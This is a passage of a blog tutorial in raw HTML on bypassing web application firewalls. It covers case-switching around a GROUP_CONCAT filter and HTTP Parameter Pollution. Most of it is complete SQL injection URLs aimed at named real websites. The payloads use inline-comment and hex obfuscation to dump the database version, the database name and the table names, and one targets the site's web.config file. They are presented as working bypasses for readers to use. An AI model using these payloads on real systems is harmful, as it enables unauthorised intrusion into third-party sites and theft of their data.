/></span></div> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px;"><br /></span></div> <span style="background-color: white;"><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"></span></span><br /> <div style="text-align: center;"> <span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><span style="background-color: white; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">Well if you dont know, then let me tell you. The first one is case sensitve and the second one is case insensitive, while making regex rules this mistake could happen sometimes. Which gives birth to such sites.</span></span></div> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"> </span><br /> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px;"><br /></span></div> <span style="background-color: white;"><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"></span></span><br /> <div style="text-align: center;"> <span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><span style="background-color: white; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">Group_concat Blocked</span></span></div> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"> </span><br /> <pre style="background: rgb(13, 62, 85); border-radius: 5px; border: 1px solid rgb(181, 181, 181); box-sizing: border-box; color: white; font-family: inherit; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin-bottom: 15px; margin-top: 15px; max-height: 400px; overflow: auto; padding: 10px; text-align: center; vertical-align: baseline; width: 704.875px;"><a href="http://www.groffr.com/compare_projects.php?q=1495%27%20and%20false%20/*!50000UNION*/ALL+SELECT*from(select%20/*!50000group_concat(shit%20SEPARATOR%20%27%27)*/from(select%200x223e3c2f613e3c2f6469763e3c2f6469763e3c2f74683e3c2f74723e3c2f7461626c653e3c666f6e7420636f6c6f723d22726564223e3c62723e3c623e496e6a6563746564206279205a454e3c2f623e3c62723e56657273696f6e203a3a20%20as%20shit%20/*!50000union*/select%20version()/*!50000union*/select%200x3c62723e4461746162617365203a3a20/*!50000union*/select%20database()/*!50000union*/select%200x3c2f666f6e743e3c62723e3c62723e3c666f6e7420636f6c6f723d22677265656e223e3c753e3a3a205461626c657320466f756e64203a3a203c2f753e3c6c693e/*!50000union*/select/*!50000group_concat(table_name%20SEPARATOR%200x3c6c693e)*/from/*!50000InFormation_schema.tables*//*!50000where+*/table_schema=/*!50000database()*/)lol)a1%20join(select(0x3133333732))a2%20join(select(0x3133333733))a3%20join(select(0x3133333734))a4%20join(select(0x3133333735))a5%20join(select(0x3133333736))a6--+" style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 13pt; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: 1.42em; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;" target="_blank"><span style="background-color: white; color: black;">http://www.groffr.com/compare_projects.php?q=1495' and false /*!50000UNION*/ALL+SELECT*from(select /*!50000group_concat(shit SEPARATOR '')*/from(select 0x223e3c2f613e3c2f6469763e3c2f6469763e3c2f74683e3c2f74723e3c2f7461626c653e3c666f6e7420636f6c6f723d22726564223e3c62723e3c623e496e6a6563746564206279205a454e3c2f623e3c62723e56657273696f6e203a3a20 as shit /*!50000union*/select version()/*!50000union*/select 0x3c62723e4461746162617365203a3a20/*!50000union*/select database()/*!50000union*/select 0x3c2f666f6e743e3c62723e3c62723e3c666f6e7420636f6c6f723d22677265656e223e3c753e3a3a205461626c657320466f756e64203a3a203c2f753e3c6c693e/*!50000union*/select/*!50000group_concat(table_name SEPARATOR 0x3c6c693e)*/from/*!50000InFormation_schema.tables*//*!50000where+*/table_schema=/*!50000database()*/)lol)a1 join(select(0x3133333732))a2 join(select(0x3133333733))a3 join(select(0x3133333734))a4 join(select(0x3133333735))a5 join(select(0x3133333736))a6--+</span></a></pre> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;">Changing Case of Group_Concat to bypass</span></div> <pre style="background: rgb(13, 62, 85); border-radius: 5px; border: 1px solid rgb(181, 181, 181); box-sizing: border-box; color: white; font-family: inherit; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin-bottom: 15px; margin-top: 15px; max-height: 400px; overflow: auto; padding: 10px; text-align: center; vertical-align: baseline; width: 704.875px;"><a href="http://www.groffr.com/compare_projects.php?q=1495%27%20and%20false%20/*!50000UNION*/ALL+SELECT*from(select%20/*!50000GrOup_CoNcat(shit%20SEPARATOR%20%27%27)*/from(select%200x223e3c2f613e3c2f6469763e3c2f6469763e3c2f74683e3c2f74723e3c2f7461626c653e3c666f6e7420636f6c6f723d22726564223e3c62723e3c623e496e6a6563746564206279205a454e3c2f623e3c62723e56657273696f6e203a3a20%20as%20shit%20/*!50000union*/select%20version()/*!50000union*/select%200x3c62723e4461746162617365203a3a20/*!50000union*/select%20database()/*!50000union*/select%200x3c2f666f6e743e3c62723e3c62723e3c666f6e7420636f6c6f723d22677265656e223e3c753e3a3a205461626c657320466f756e64203a3a203c2f753e3c6c693e/*!50000union*/select/*!50000group_coNcAt(table_name%20SEPARATOR%200x3c6c693e)*/from/*!50000InFormation_schema.tables*//*!50000where+*/table_schema=/*!50000database()*/)lol)a1%20join(select(0x3133333732))a2%20join(select(0x3133333733))a3%20join(select(0x3133333734))a4%20join(select(0x3133333735))a5%20join(select(0x3133333736))a6--+" style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 13pt; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: 1.42em; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;" target="_blank"><span style="background-color: white; color: black;">http://www.groffr.com/compare_projects.php?q=1495' and false /*!50000UNION*/ALL+SELECT*from(select /*!50000GrOup_CoNcat(shit SEPARATOR '')*/from(select 0x223e3c2f613e3c2f6469763e3c2f6469763e3c2f74683e3c2f74723e3c2f7461626c653e3c666f6e7420636f6c6f723d22726564223e3c62723e3c623e496e6a6563746564206279205a454e3c2f623e3c62723e56657273696f6e203a3a20 as shit /*!50000union*/select version()/*!50000union*/select 0x3c62723e4461746162617365203a3a20/*!50000union*/select database()/*!50000union*/select 0x3c2f666f6e743e3c62723e3c62723e3c666f6e7420636f6c6f723d22677265656e223e3c753e3a3a205461626c657320466f756e64203a3a203c2f753e3c6c693e/*!50000union*/select/*!50000group_coNcAt(table_name SEPARATOR 0x3c6c693e)*/from/*!50000InFormation_schema.tables*//*!50000where+*/table_schema=/*!50000database()*/)lol)a1 join(select(0x3133333732))a2 join(select(0x3133333733))a3 join(select(0x3133333734))a4 join(select(0x3133333735))a5 join(select(0x3133333736))a6--+</span></a></pre> <span style="background-color: white;"><br /></span> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;">If you see in the above URL there are two firewalls, one is "406 Not Acceptable", second is "403 Forbidden" one. The first one i bypassed using Inline commenting which we will discuss later, second one which was blocking concat bypassed by changing the case.</span></div> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px;"><br /></span></div> <span style="background-color: white;"><br /></span> <h4 style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-stretch: inherit; line-height: 1.75em; margin: 0px 0px 1em; padding: 0px; text-align: center; vertical-align: baseline;"> <a href="https://www.blogger.com/null" name="hpp" style="border: 0px; box-sizing: border-box; font-size: 13pt; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: 1.42em; margin: 0px; padding: 0px; vertical-align: baseline;"><span style="background-color: white; color: black;">HTTP Parameter Pollution</span></a></h4> <span style="background-color: white;"><br /></span> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;">May be many of you have heard of it but am sure few would have ever used it. First of all what is HPP, Definition at OWASP - Supplying multiple HTTP parameters with the same name may cause an application to interpret values in unanticipated ways. By exploiting these effects, an attacker may be able to bypass input validation, trigger application errors or modify internal variables values. As HTTP Parameter Pollution (in short HPP) affects a building block of all web technologies, server and client side attacks exist.</span></div> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px;"><br /></span></div> <span style="background-color: white;"><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"></span></span><br /> <div style="text-align: center;"> <span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><span style="background-color: white; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">Here is a table which shows the default behavior of these application with HPP.</span></span></div> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"> </span><br /> <div style="text-align: center;"> <span style="background-color: white;"><img src="http://securityidiots.com/post_images/owasp_http_param_pollution.png" style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin: 0px; max-width: 100%; padding: 0px; text-align: justify; vertical-align: baseline; width: 513.96875px;" /></span></div> <span style="background-color: white;"><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"></span></span><br /> <div style="text-align: center;"> <span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><span style="background-color: white; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">Now as you have seen in the above image that ASP.NET add all the instances of the variables passed in the URL to comma separated values. We ll use it now for some basic bypass methods.</span></span></div> <span style="background-color: white;"><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"> </span><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><div style="text-align: center;"> <span style="font-size: 17.3333339691162px; line-height: 24.6133346557617px;">Example WAF (Blocked)</span></div> </span></span><br /> <pre style="background: rgb(13, 62, 85); border-radius: 5px; border: 1px solid rgb(181, 181, 181); box-sizing: border-box; color: white; font-family: inherit; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin-bottom: 15px; margin-top: 15px; max-height: 400px; overflow: auto; padding: 10px; text-align: center; vertical-align: baseline; width: 704.875px;"><a href="http://www.punjabkesari.com/frmNewsDetails.aspx?uid=%27union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,%27web.config%27,20,21--" style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 13pt; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: 1.42em; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;" target="_blank"><span style="background-color: white; color: black;">http://www.punjabkesari.com/frmNewsDetails.aspx?uid='union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,'web.config',20,21--</span></a></pre> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;">There are loads of ways to bypass the above WAF but we are gonna use tricks using HPP</span></div> <pre style="background: rgb(13, 62, 85); border-radius: 5px; border: 1px solid rgb(181, 181, 181); box-sizing: border-box; color: white; font-family: inherit; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin-bottom: 15px; margin-top: 15px; max-height: 400px; overflow: auto; padding: 10px; text-align: center; vertical-align: baseline; width: 704.875px;"><a href="http://www.punjabkesari.com/frmNewsDetails.aspx?uid=%27union--+&uid=*/%0aselect%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,%27web.config%27,20,21--" style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 13pt; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: 1.42em; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;" target="_blank"><span style="background-color: white; color: black;">http://www.punjabkesari.com/frmNewsDetails.aspx?uid='union--+&uid=*/%0aselect 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,'web.config',20,21--</span></a></pre> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;">Lets try some other ways we can use HPP for Comma Filtered WAF</span></div> <pre style="background: rgb(13, 62, 85); border-radius: 5px; border: 1px solid rgb(181, 181, 181); box-sizing: border-box; color: white; font-family: inherit; font-size: 17.3333339691162px; font-stretch: inherit; font-weight: 600; line-height: 24.6133346557617px; margin-bottom: 15px; margin-top: 15px; max-height: 400px; overflow: auto; padding: 10px; text-align: center; vertical-align: baseline; width: 704.875px;"><a href="http://www.punjabkesari.com/frmNewsDetails.aspx?uid=%27union--+&uid=*/%0aselect%201&uid=2&uid=3&uid=4&uid=5&uid=6&uid=7&uid=8&uid=9&uid=10&uid=11&uid=12&uid=13&uid=14&uid=15&uid=16&uid=17&uid=18&uid=%27web.config%27&uid=20&uid=21--" style="border: 0px; box-sizing: border-box; font-family: Raleway, sans-serif; font-size: 13pt; font-stretch: inherit; font-style: inherit; font-variant: inherit; line-height: 1.42em; margin: 0px; padding: 0px; text-decoration: none; vertical-align: baseline;" target="_blank"><span style="background-color: white; color: black;">http://www.punjabkesari.com/frmNewsDetails.aspx?uid='union--+&uid=*/%0aselect 1&uid=2&uid=3&uid=4&uid=5&uid=6&uid=7&uid=8&uid=9&uid=10&uid=11&uid=12&uid=13&uid=14&uid=15&uid=16&uid=17&uid=18&uid='web.config'&uid=20&uid=21--</span></a></pre> <span style="background-color: white;"><br /></span> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;">As HPP will implode all the values to CSV format, that will help our query to work just fine. In such manner there is alot you can do with HPP.</span></div> <div style="text-align: center;"> <span style="background-color: white; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px;"><br /></span></div> <span style="background-color: white;"><span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"></span></span><br /> <div style="text-align: center;"> <span style="font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"><span style="background-color: white; font-size: 17.3333339691162px; line-height: 24.6133346557617px;">As i cant discuss all the topics in one tutorial so we will stop here for this part. Will start with the other topics on WAF in the next part, till then have fun...keep learning :)</span></span></div> <span style="background-color: #c9c9c2; color: #040000; font-family: Raleway, sans-serif; font-size: 17.3333339691162px; font-weight: 600; line-height: 24.6133346557617px; text-align: justify;"> </span>

Guide to WAF Bypass by Faisal 1337

Understanding the concept is more important than learning some tricks which i guess are posted in every second WAF bypass tutorial, so in ...

Read more »